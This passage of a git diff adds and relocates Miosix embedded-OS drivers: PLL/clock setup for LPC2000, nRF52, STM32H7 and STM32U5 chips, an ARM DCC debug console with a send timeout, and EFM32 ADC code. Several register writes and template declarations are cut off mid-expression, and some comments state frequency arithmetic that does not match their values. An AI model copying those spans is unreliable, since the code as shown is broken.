PLLCON=0x3;//PLL Connected + feed(); + break; + default://PLL OFF + // Enabling MAM + MAMCR=0x0;//MAM Disabled + MAMTIM=0x1;//Flash access is 1 cclk + MAMCR=0x2;//MAM Enabled + break; + } +} + +PllValues IRQgetPllFreq() +{ + //If "pll off" or "pll not connected" return PLL_OFF + if((PLLSTAT & 0x300)!=0x300) return PLL_OFF; + switch(PLLSTAT & 0x7f) + { + case 0x41: return PLL_2X; + case 0x23: return PLL_4X; + default: return PLL_UNDEF;//PLL undefined value + } +} + +void IRQmemoryAndClockInit() +{ + static_assert(cpuFrequency<=60000000, "CPU cpuFreqeuncy outside range"); + static_assert( + cpuFrequency==oscillatorFrequency + || cpuFrequency==oscillatorFrequency*2 + || cpuFrequency==oscillatorFrequency*4, "Unsupported PLL multiplier"); + switch(cpuFrequency) + { + case oscillatorFrequency*2: + IRQsetPllFreq(PLL_2X); + break; + case oscillatorFrequency*4: + IRQsetPllFreq(PLL_4X); + break; + default: + IRQsetPllFreq(PLL_OFF); + break; + } + + static_assert( + peripheralFrequency==cpuFrequency + || peripheralFrequency==cpuFrequency/2 + || peripheralFrequency==cpuFrequency/4, "Unsupported PLL multiplier"); + switch(peripheralFrequency) + { + case cpuFrequency/2: + IRQsetApbRatio(APB_DIV_2); + break; + case cpuFrequency/4: + IRQsetApbRatio(APB_DIV_4); + break; + default: + IRQsetApbRatio(APB_DIV_1); + break; + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/clock/lpc2000_clock.h b/miosix/arch/drivers/clock/lpc2000_clock.h new file mode 100644 index 000000000..6c6c3ff74 --- /dev/null +++ b/miosix/arch/drivers/clock/lpc2000_clock.h @@ -0,0 +1,105 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * \internal + * Constants to pass to setPllFreq(), and values returned by getPllFreq() + * This enum is used by the system and should not be called by user code. + */ +enum PllValues +{ + PLL_4X=4, ///<\internal AHB clock frequency = xtal freq. multiplied by 4 + PLL_2X=2, ///<\internal AHB clock frequency = xtal freq. multiplied by 2 + PLL_OFF=0, ///<\internal AHB clock frequency = xtal freq. + PLL_UNDEF=-1///<\internal Returned by getPllFreq() in case of errors +}; + +/** + * \internal + * Set PLL frequency + * This is is only tested with a 14.7456MHz xtal + * Changing PLL frequency after boot may cause problems to hardware drivers + * \param r the desired PLL settings + * + * This function is used by the system and should not be called by user code. + */ +void IRQsetPllFreq(PllValues r); + +/** + * \internal + * Get PLL settings + * This is is only tested with a 14.7456MHz xtal + * \return the current PLL settings + * + * This function is used by the system and should not be called by user code. + */ +PllValues IRQgetPllFreq(); + +/** + * \internal + * Constants to pass to set_apb_ratio(), and values returned by get_apb_ratio() + * This enum is used by the system and should not be called by user code. + */ +enum APBValues +{ + APB_DIV_1=1,///<\internal AHB and APB run @ same speed + APB_DIV_2=2,///<\internal APB runs at 1/2 of AHB frequency + APB_DIV_4=0 ///<\internal APB runs at 1/4 of AHB frequency +}; + +/** + * \internal + * Set apb ratio (how much peripherals are slowed down with respect to cpu) + * Changing apb ratio after boot may cause problems to hardware drivers + * \param r desired apb ratio + * + * This function is used by the system and should not be called by user code. + */ +inline void IRQsetApbRatio(APBValues r) +{ + VPBDIV=r; +} + +/** + * \internal + * Get apb ratio (how much peripherals are slowed down with respect to cpu) + * \return current apb ratio + * + *This function is used by the system and should not be called by user code. + */ +inline APBValues IRQgetApbRatio() +{ + return static_cast(VPBDIV & 0x3); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/clock/nrf52_clock.cpp b/miosix/arch/drivers/clock/nrf52_clock.cpp new file mode 100644 index 000000000..12257d7fa --- /dev/null +++ b/miosix/arch/drivers/clock/nrf52_clock.cpp @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "nrf52_clock.h" +#include +#include +#include + +extern "C" { +unsigned int SystemCoreClock = miosix::cpuFrequency; +} + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + NRF_NVMC->ICACHECNF=1; // Enable FLASH cache + + // Added for safety to connect debugger if wrong options selected + delayMs(1000); + + switch(oscillatorType) + { + case OscillatorType::HFINT: break; // Default option at boot + case OscillatorType::HFXO: + NRF_CLOCK->EVENTS_HFCLKSTARTED=0; + NRF_CLOCK->TASKS_HFCLKSTART=1; + while(NRF_CLOCK->EVENTS_HFCLKSTARTED==0) ; + break; + } + NRF_CLOCK->TASKS_LFCLKSTOP=1; + switch(rtcOscillatorType) + { + case RtcOscillatorType::NONE: break; + case RtcOscillatorType::LFRC: NRF_CLOCK->LFCLKSRC=0; break; + case RtcOscillatorType::LFXO: NRF_CLOCK->LFCLKSRC=1; break; + case RtcOscillatorType::LFSYNT: NRF_CLOCK->LFCLKSRC=2; break; + } + if(rtcOscillatorType!=RtcOscillatorType::NONE) + { + NRF_CLOCK->EVENTS_LFCLKSTARTED=0; + NRF_CLOCK->TASKS_LFCLKSTART=1; + while(NRF_CLOCK->EVENTS_LFCLKSTARTED==0) ; + } + switch(vregType) + { + case VoltageRegulatorType::LDO: break; // Default option at boot + case VoltageRegulatorType::SWITCHING: + NRF_POWER->DCDCEN=1; + break; + } + + //See Cortex M4 TRM: enable the FPU in privileged and user mode + SCB->CPACR |= 0xf<<20; +} + +} // namespace miosix diff --git a/miosix/arch/drivers/clock/nrf52_clock.h b/miosix/arch/drivers/clock/nrf52_clock.h new file mode 100644 index 000000000..135ee6d75 --- /dev/null +++ b/miosix/arch/drivers/clock/nrf52_clock.h @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif //__cplusplus + +extern unsigned int SystemCoreClock; + +void SystemInit(); + +#ifdef __cplusplus +} +#endif //__cplusplus diff --git a/miosix/arch/drivers/clock/stm32h7_pll.cpp b/miosix/arch/drivers/clock/stm32h7_pll.cpp new file mode 100644 index 000000000..7f65ae3a2 --- /dev/null +++ b/miosix/arch/drivers/clock/stm32h7_pll.cpp @@ -0,0 +1,172 @@ +/*************************************************************************** + * Copyright (C) 2018-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" +#include "stm32h7_pll.h" + +using namespace miosix; + +//Constraints: +//PLL input between 2MHz and 16MHz (wide range PLL can't run with <2MHz) +//PLL output between 192MHz and 836MHz(h723/h743) 960MHz(h755) + +//Only STM32H723xx supports 550MHz + +struct RCCPLLConfig +{ + unsigned int hse, sysclk; + unsigned int rge, m, n, p, q, r; +}; + +static constexpr RCCPLLConfig pllConfigs[] = { + #ifdef STM32H723xx + { + .hse=25000000, .sysclk=550000000, + .rge=0b10, //4..8MHz + .m=5, // 25MHz/M=5MHz + .n=110, // 5MHz*N=550MHz + .p=1, // 550MHz/P=550MHz + .q=6, // 550MHz/P=91.66MHz (<=100MHz for SDMMC) + .r=1 // 550MHz/P=550MHz + }, + #endif + { + .hse=25000000, .sysclk=400000000, + .rge=0b10, //4..8MHz + .m=5, // 25MHz/M=5MHz + .n=160, // 5MHz*N=800MHz + .p=2, // 800MHz/P=400MHz + .q=8, // 800MHz/P=100MHz (for SDMMC) + .r=2 // 800MHz/P=400MHz + }, + #ifdef STM32H723xx + { + .hse=8000000, .sysclk=550000000, + .rge=0b01, //2..4MHz + .m=4, // 8MHz/M=2MHz + .n=275, // 2MHz*N=550MHz + .p=1, // 550MHz/P=550MHz + .q=6, // 550MHz/P=91.66MHz (<=100MHz for SDMMC) + .r=1, // 550MHz/P=550MHz + }, + #endif + { + .hse=8000000, .sysclk=400000000, + .rge=0b01, //2..4MHz + .m=2, // 8MHz/M=4MHz + .n=200, // 4MHz*N=800MHz + .p=2, // 800MHz/P=400MHz + .q=8, // 800MHz/P=100MHz (for SDMMC) + .r=2, // 800MHz/P=400MHz + }, +}; + +template +constexpr RCCPLLConfig findPllConfig() +{ + static_assert(N(); +} + +void startPll() +{ + #ifdef _BOARD_STM32H755ZI_NUCLEO + //This board is configured to use the SMPS instead of the LDO, and requires + //hardware rewiring to change that. So use the SMPS. + //As a consequence, the maximum frequency is 400MHz instead of 480MHz... + PWR->CR3 &= ~PWR_CR3_LDOEN; + #endif //_BOARD_STM32H755ZI_NUCLEO + + #ifndef STM32H755xx + //QUIRK: it looks like VOS can only be set by first setting SCUEN to 0. + //This isn't documented anywhere in the reference manual. + //And some chips lack this bit + PWR->CR3 &= ~PWR_CR3_SCUEN; + #endif + + //In the STM32H7 DVFS was introduced (chapter 6, Power control) + //Switch to highest possible voltage to run at the max freq + if constexpr(cpuFrequency==550000000) + { + #ifdef STM32H723xx + PWR->D3CR = 0b00<D3CR & PWR_D3CR_VOSRDY)==0) ; //Wait + RCC->APB4ENR |= RCC_APB4ENR_SYSCFGEN; + RCC_SYNC(); + SYSCFG->UR18 |= SYSCFG_UR18_CPU_FREQ_BOOST; //TODO: docs say it's read-only?? + #else + // Impossible condition + #endif + } else { + PWR->D3CR = 0b11<D3CR & PWR_D3CR_VOSRDY)==0) ; //Wait + } + + //Enable HSE oscillator + RCC->CR |= RCC_CR_HSEON; + while((RCC->CR & RCC_CR_HSERDY)==0) ; //Wait + + constexpr RCCPLLConfig cfg=findPllConfig<0>(); + + //Start the PLL + RCC->PLLCKSELR |= cfg.m<PLL1DIVR = (cfg.r-1)<PLLCFGR |= cfg.rge<CR |= RCC_CR_PLL1ON; + while((RCC->CR & RCC_CR_PLL1RDY)==0) ; //Wait + + //Before increasing the frequency set dividers + RCC->D1CFGR = RCC_D1CFGR_D1CPRE_DIV1 //CPU clock /1 + | RCC_D1CFGR_D1PPRE_DIV2 //D1 APB3 /2 + | RCC_D1CFGR_HPRE_DIV2; //D1 AHB /2 + RCC->D2CFGR = RCC_D2CFGR_D2PPRE2_DIV2 //D2 APB2 /2 + | RCC_D2CFGR_D2PPRE1_DIV2;//D2 APB1 /2 + RCC->D3CFGR = RCC_D3CFGR_D3PPRE_DIV2; //D3 APB4 /2 + + //And increase FLASH wait states + if constexpr(cpuFrequency==550000000) + { + FLASH->ACR = 0b11<ACR = 0b10<CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL1; + while((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL1) ; //Wait +} diff --git a/miosix/arch/drivers/clock/stm32h7_pll.h b/miosix/arch/drivers/clock/stm32h7_pll.h new file mode 100644 index 000000000..281305b9b --- /dev/null +++ b/miosix/arch/drivers/clock/stm32h7_pll.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +void startPll(); diff --git a/miosix/arch/drivers/clock/stm32u5_pll.cpp b/miosix/arch/drivers/clock/stm32u5_pll.cpp new file mode 100644 index 000000000..4adaf2498 --- /dev/null +++ b/miosix/arch/drivers/clock/stm32u5_pll.cpp @@ -0,0 +1,197 @@ +/*************************************************************************** + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" +#include "stm32u5_pll.h" + +using namespace miosix; + +struct RCCPLLConfig +{ + OscillatorType oscType; + unsigned int hse, sysclk; + unsigned int rge, M, MBoost, N, P, Q, R, VCore; + bool boostEnable; +}; + +//Constraints: +//PLL input between 2MHz and 16MHz (wide range PLL can't run with <2MHz) +//PLL output between 192MHz and 836MHz(h723/h743) 960MHz(h755) + +static constexpr RCCPLLConfig pllConfigs[] = { + { + .oscType=OscillatorType::HSE, .hse=25000000, .sysclk=160000000, + .rge=0b10, //4..8MHz + .M=4, // 25MHz/(5-1)=5MHz + .MBoost=2, // 4 < 25MHz/2^Mboost < 16 + .N=32, // 5MHz*N=160MHz + .P=1, // 160MHz/P=160MHz + .Q=1, // 160MHz/Q=160MHz + .R=1, // 160MHz/R=160MHz + .VCore=0b11, // Range 1 (Highest) + .boostEnable=1, // Yes if fClk > 55MHz + }, + { + .oscType=OscillatorType::HSE, .hse=25000000, .sysclk=110000000, + .rge=0b10, //4..8MHz + .M=4, // 25MHz/(5-1)=5MHz + .MBoost=2, // 4 < 25MHz/2^Mboost < 16 + .N=22, // 5MHz*N=110MHz + .P=1, // 110MHz/P=110MHz + .Q=1, // 110MHz/Q=110MHz + .R=1, // 110MHz/R=110MHz + .VCore=0b10, // Range 2 + .boostEnable=1, // Yes if fClk > 55MHz + }, + { + .oscType=OscillatorType::HSE, .hse=25000000, .sysclk=48000000, + .rge=0b10, //4..8MHz + .M=4, // 25MHz/(5-1)=5MHz + .MBoost=2, // 4 < 25MHz/2^Mboost < 16 + .N=48, // 5MHz*N=240MHz + .P=5, // 110MHz/P=48MHz + .Q=5, // 110MHz/Q=48MHz + .R=5, // 110MHz/R=48MHz + .VCore=0b10, // Range 2 + .boostEnable=0 // Yes if fClk > 55MHz + }, + { + .oscType=OscillatorType::HSE, .hse=25000000, .sysclk=24000000, + .rge=0b10, //4..8MHz + .M=4, // 25MHz/(5-1)=5MHz + .MBoost=2, // 4 < 25MHz/2^Mboost < 16 + .N=24, // 5MHz*N=120MHz + .P=5, // 110MHz/P=24MHz + .Q=5, // 110MHz/Q=24MHz + .R=5, // 110MHz/R=24MHz + .VCore=0b10, // Range 2 + .boostEnable=0, // Yes if fClk > 55MHz + }, + { + .oscType=OscillatorType::HSI, .hse=0, .sysclk=48000000, + .rge=0b10, //4..8MHz + .M=3, // 16MHz/(4-1)=4MHz + .MBoost=1, // 4 < 25MHz/2^Mboost < 16 + .N=12, // 4MHz*N=48MHz + .P=1, // 48MHz/P=48MHz + .Q=1, // 48MHz/Q=48MHz + .R=1, // 48MHz/R=48MHz + .VCore=0b01, // Range 3 + .boostEnable=0, // Yes if fClk > 55MHz + } +}; + +template +constexpr RCCPLLConfig findPllConfig() +{ + static_assert(N(); +} + +void startPll() +{ + PWR->CR3 &= ~PWR_CR3_REGSEL; + RCC->AHB3ENR |= RCC_AHB3ENR_PWREN; + RCC_SYNC(); + + RCCPLLConfig cfg=findPllConfig<0>(); + + // 1. Set voltage range + if (oscillatorType==OscillatorType::HSE) + { + //Enable HSE oscillator + RCC->CR |= RCC_CR_HSEON; + while((RCC->CR & RCC_CR_HSERDY)==0) ; + + // PLL must be enabled before VOSR + + RCC->PLL1DIVR = (cfg.R-1)<PLL1CFGR = RCC_PLL1CFGR_PLL1REN + | RCC_PLL1CFGR_PLL1QEN + | RCC_PLL1CFGR_PLL1PEN + | (cfg.M << RCC_PLL1CFGR_PLL1M_Pos) + | (cfg.MBoost << RCC_PLL1CFGR_PLL1MBOOST_Pos) // 4 < 25/4 < 16 + | (cfg.rge << RCC_PLL1CFGR_PLL1RGE_Pos) + | (0b11 << RCC_PLL1CFGR_PLL1SRC_Pos); // HSE + + RCC->CR |= RCC_CR_PLL1ON; + while((RCC->CR & RCC_CR_PLL1RDY) == 0) ; + } else { + //Enable HSI oscillator + RCC->CR |= RCC_CR_HSION; + while((RCC->CR & RCC_CR_HSIRDY)==0) ; + + // PLL must be enabled before VOSR + + RCC->PLL1DIVR = (cfg.R-1)<PLL1CFGR = RCC_PLL1CFGR_PLL1REN + | RCC_PLL1CFGR_PLL1QEN + | RCC_PLL1CFGR_PLL1PEN + | (cfg.M << RCC_PLL1CFGR_PLL1M_Pos) + | (cfg.MBoost << RCC_PLL1CFGR_PLL1MBOOST_Pos) // 4 < 25/4 < 16 + | (cfg.rge << RCC_PLL1CFGR_PLL1RGE_Pos) + | (0b10 << RCC_PLL1CFGR_PLL1SRC_Pos); // HSI16 + + RCC->CR |= RCC_CR_PLL1ON; + while((RCC->CR & RCC_CR_PLL1RDY) == 0) ; + } + + // Highest frequency (Range 1) [boost needed if tgt freq >= 55MHz) + PWR->VOSR = (cfg.VCore<VOSR & PWR_VOSR_VOSRDY)==0); + + if (cfg.boostEnable) + { + PWR->VOSR |= (PWR_VOSR_BOOSTEN); + while ((PWR->VOSR & PWR_VOSR_BOOSTRDY) == 0); + } + + // Increase FLASH wait states (RM 7.3.3, Table 54) + constexpr unsigned int ws= + cpuFrequency<=24000000 ? FLASH_ACR_LATENCY_1WS : // Assuming VCore Range 4 + cpuFrequency<=48000000 ? FLASH_ACR_LATENCY_1WS : // Assuming VCore Range 3 + cpuFrequency<=110000000 ? FLASH_ACR_LATENCY_3WS : // Assuming VCore Range 2 + FLASH_ACR_LATENCY_4WS; // (160MHz) Assuming VCore Range 1 + FLASH->ACR = FLASH_ACR_PRFTEN | (ws & 0x0f); + + RCC->CFGR1 |= 0b11 << RCC_CFGR1_SW_Pos; + while((RCC->CFGR1 & RCC_CFGR1_SWS) != (0b11 << RCC_CFGR1_SWS_Pos)) ; //Wait + + SystemCoreClockUpdate(); +} diff --git a/miosix/arch/drivers/clock/stm32u5_pll.h b/miosix/arch/drivers/clock/stm32u5_pll.h new file mode 100644 index 000000000..16d1203a8 --- /dev/null +++ b/miosix/arch/drivers/clock/stm32u5_pll.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +void startPll(); diff --git a/miosix/arch/common/drivers/dcc.cpp b/miosix/arch/drivers/dcc.cpp similarity index 87% rename from miosix/arch/common/drivers/dcc.cpp rename to miosix/arch/drivers/dcc.cpp index c4d93752c..7b60ed4c5 100644 --- a/miosix/arch/common/drivers/dcc.cpp +++ b/miosix/arch/drivers/dcc.cpp @@ -43,7 +43,7 @@ ssize_t ARMDCC::readBlock(void* buffer, size_t size, off_t where) ssize_t ARMDCC::writeBlock(const void* buffer, size_t size, off_t where) { - Lock l(mutex); + Lock l(mutex); debugStr(reinterpret_cast(buffer),size); return size; } @@ -67,8 +67,24 @@ int ARMDCC::ioctl(int cmd, void* arg) void ARMDCC::send(unsigned char c) { + if(disconnected) return; const unsigned int busy=1; - while(CoreDebug->DCRDR & busy) ; + const long long timeout=1000000000ll; + long long start; + { + //NOTE: not calling getTime() as this function can be called also early + //at boot from of IRQwrite and + GlobalIrqLock dLock; + start=IRQgetTime(); + } + while(CoreDebug->DCRDR & busy) + { + //Polling loop with timeout setting the disconnected flag + GlobalIrqLock dLock; + if(IRQgetTime()-startDCRDR=(static_cast(c)<<8) | busy; } @@ -78,8 +94,6 @@ void ARMDCC::debugStr(const char *str, int length) if((CoreDebug->DEMCR & CoreDebug_DEMCR_TRCENA_Msk)==0) return; if(length<0) length=strlen(str); - if(length>0 && str[0]=='\r') str++, length--; //TODO: better \r\n removal - if(length>0 && str[0]=='\n') str++, length--; if(length==0) return; send(1); //1=sending a string send(0); diff --git a/miosix/arch/common/drivers/dcc.h b/miosix/arch/drivers/dcc.h similarity index 91% rename from miosix/arch/common/drivers/dcc.h rename to miosix/arch/drivers/dcc.h index 9f1e0d680..b5ea4726d 100644 --- a/miosix/arch/common/drivers/dcc.h +++ b/miosix/arch/drivers/dcc.h @@ -25,8 +25,7 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef DCC_H -#define DCC_H +#pragma once #include "filesystem/console/console_device.h" #include "kernel/sync.h" @@ -37,6 +36,11 @@ namespace miosix { * This class exposes the ARM debug communication channel through the Device * interface, to allow redirecting stdin and stdout to the DCC for boards that * have JTAG/SWD but no serial port + * + * To use it you have to add the following two commands to a GDB session after + * connecting with openocd and make the output appear inside gdb: + * monitor target_request debugmsgs enable + * monitor trace point 1 */ class ARMDCC : public Device { @@ -71,8 +75,6 @@ class ARMDCC : public Device * which is used by the kernel on console devices to write debug information * before the kernel is started or in case of serious errors, right before * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. * \param str the string to write. The string must be NUL terminated. */ void IRQwrite(const char *str); @@ -89,18 +91,17 @@ class ARMDCC : public Device /** * Send data to the host */ - static void send(unsigned char c); + void send(unsigned char c); /** * Send a line of text to the host. * OpenOCD will insert a \n after each line, unfortunately, * as this complicates things. */ - static void debugStr(const char *str, int length); + void debugStr(const char *str, int length); - FastMutex mutex; + KernelMutex mutex; + bool disconnected=false; }; } //namespace miosix - -#endif //DCC_H diff --git a/miosix/arch/common/drivers/efm32_adc.cpp b/miosix/arch/drivers/efm32_adc.cpp similarity index 84% rename from miosix/arch/common/drivers/efm32_adc.cpp rename to miosix/arch/drivers/efm32_adc.cpp index 99c536e85..bfcdc1c90 100644 --- a/miosix/arch/common/drivers/efm32_adc.cpp +++ b/miosix/arch/drivers/efm32_adc.cpp @@ -26,9 +26,12 @@ ***************************************************************************/ #include "efm32_adc.h" +#include "miosix_settings.h" #include "miosix.h" #include +namespace miosix { + Adc& Adc::instance() { static Adc singleton; @@ -87,22 +90,18 @@ unsigned short Adc::readChannel(int channel) Adc::Adc() { { - miosix::FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; CMU->HFPERCLKEN0 |= CMU_HFPERCLKEN0_ADC0; } - unsigned int hfperclk=SystemCoreClock; - //EFM32 has separate prescalers for core and peripherals, so we start - //from HFCORECLK, work our way up to HFCLK and then down to HFPERCLK - hfperclk*=1<<(CMU->HFCORECLKDIV & _CMU_HFCORECLKDIV_HFCORECLKDIV_MASK); - hfperclk/=1<<(CMU->HFPERCLKDIV & _CMU_HFPERCLKDIV_HFPERCLKDIV_MASK); - unsigned int presc=(hfperclk+13000000-1)/13000000; //Highest freq < 13MHz - unsigned int timebase=(hfperclk+1000000-1)/1000000; - #ifdef EFM32_HFRCO_FREQ - // If we're running from the RC oscillator increase timebase by 12.5% and - // at least 1 to account for frequency errors. Maybe not needed - timebase+=std::max(1,timebase/8); - #endif + unsigned int presc=(peripheralFrequency+13000000-1)/13000000; //Highest freq < 13MHz + unsigned int timebase=(peripheralFrequency+1000000-1)/1000000; + if(oscillatorType==OscillatorType::HFRCO) + { + // If we're running from the RC oscillator increase timebase by 12.5% + // and at least 1 to account for frequency errors. Maybe not needed + timebase+=std::max(1,timebase/8); + } ADC0->CTRL = timebase<<16 //TIMEBASE | (presc-1)<<8 //PRESC @@ -113,3 +112,5 @@ Adc::Adc() | ADC_SINGLECTRL_RES_12BIT | ADC_SINGLECTRL_ADJ_RIGHT; } + +} //namespace miosix diff --git a/miosix/arch/common/drivers/efm32_adc.h b/miosix/arch/drivers/efm32_adc.h similarity index 98% rename from miosix/arch/common/drivers/efm32_adc.h rename to miosix/arch/drivers/efm32_adc.h index 19031cc5f..be8551ec1 100644 --- a/miosix/arch/common/drivers/efm32_adc.h +++ b/miosix/arch/drivers/efm32_adc.h @@ -27,13 +27,15 @@ #pragma once +namespace miosix { + /** * Efm32 ADC driver * * Example code * \code * { - * FastInterruptDisableLock dLock; + * FastGlobalIrqLock dLock; * //GPIO digital logic must be disabled to use as ADC input * expansion::gpio0::mode(Mode::DISABLED); //GPIO0 is PD3 or ADC0_CH3 * expansion::gpio1::mode(Mode::OUTPUT_HIGH); @@ -113,3 +115,5 @@ class Adc public: Adc(); }; + +} //namespace miosix diff --git a/miosix/arch/drivers/gpio/atsam4l_gpio.cpp b/miosix/arch/drivers/gpio/atsam4l_gpio.cpp new file mode 100644 index 000000000..bfa313800 --- /dev/null +++ b/miosix/arch/drivers/gpio/atsam4l_gpio.cpp @@ -0,0 +1,107 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "atsam4l_gpio.h" + +namespace miosix { + +void GpioBase::modeImpl(GpioPort *p, unsigned char n, Mode m) +{ + auto mm = static_cast(m); + + const unsigned char OUTPUT = 0b00001; + const unsigned char ALTERNATE = 